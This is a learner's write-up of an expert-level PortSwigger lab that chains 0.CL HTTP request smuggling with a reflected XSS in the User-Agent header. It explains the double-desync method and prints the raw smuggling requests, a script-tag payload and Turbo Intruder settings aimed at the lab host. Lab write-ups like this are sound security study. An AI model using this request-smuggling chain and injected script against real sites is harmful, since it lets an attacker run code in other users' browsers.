| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — 0.CL (Zero Content-Length) Double Desync + Reflected XSS |
| Difficulty | Expert |
| Objective | Cause alert(1) to execute in Carlos's browser via request smuggling |
| Note | This lab was beyond my current knowledge at the time. I documented the process as best I could and followed an external guide to complete it. I'll revisit it when I have more depth in advanced HTTP/2 smuggling. Reference used: brandon-t-elliott.github.io/0-cl-request-smuggling |
0.CL Request Smuggling¶
Running a Burp Pro crawl and audit against the lab detects a User agent-dependent response issue. Sending that request to Repeater, selecting the User-Agent value, right-clicking Scan selected insertion point confirms a reflected XSS in the User-Agent header on /post?postId=8.
Payload that works:
User-Agent: teto"/><script>alert(1)</script>
The server reflects the User-Agent unsanitized into the HTML. The problem: Carlos isn't going to modify his own User-Agent. We need request smuggling to inject that header into his connection without him doing anything.
The technique here is 0.CL — Zero Content-Length. Sending a Content-Length header with a space before the colon (Content-Length : value) causes some servers to ignore the header entirely and treat the body as zero-length. The server closes the request early, before the actual body arrives, leaving the remaining bytes in the TCP buffer. That's the first desync.
The attack chains two desyncs — hence "double desync" — across three requests sent in sequence over the same connection:
stage1 -> stage2 (with smuggled embedded) -> victim
stage1 uses the malformed Content-Length : %s. The server ignores it, assumes body length 0, closes the request early. Bytes that should be in the body float in the buffer.
stage2 contains the smuggled prefix at the end. Because of the desync from stage1, the server doesn't correctly identify where stage2 ends — part of it floats into the connection buffer.
victim is Carlos's request arriving on the same connection. The floating bytes from stage2's smuggled content get prepended to his request. The server processes the injected prefix first — a GET /post?postId=8 with our XSS User-Agent — renders the page, and returns it to Carlos. His browser executes alert(1).
Sending a POST request to Turbo Intruder after changing to HTTP/1.1 and modifying the path:
POST /resources/teto HTTP/1.1
Selecting the examples/0cl-exploit.py script from the dropdown:
Four variables to configure in the script:
stage1 — The early-response gadget with the malformed Content-Length:
POST /resources/css/teto HTTP/1.1
Host: 0a1f00ff04670f5980334991007200f0.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length : %s
smuggled — The injected request with the XSS payload in User-Agent:
GET /post?postId=8 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
stage2_chopped — Since GET requests with bodies are rejected, OPTIONS is used instead:
OPTIONS / HTTP/1.1
Content-Length: 123
X: Y
Stop condition — so Turbo Intruder stops automatically when the lab solves:
if req.label == 'victim' and 'Congratulations' in req.response:
req.engine.cancel()
Carlos visits every 5 seconds. When his request arrives on the poisoned connection, it gets the smuggled XSS prefix prepended — the server renders /post?postId=8 with our User-Agent payload and returns it to Carlos. alert(1) fires in his browser.
This will be solving the lab in a few minutes after running the script. s.s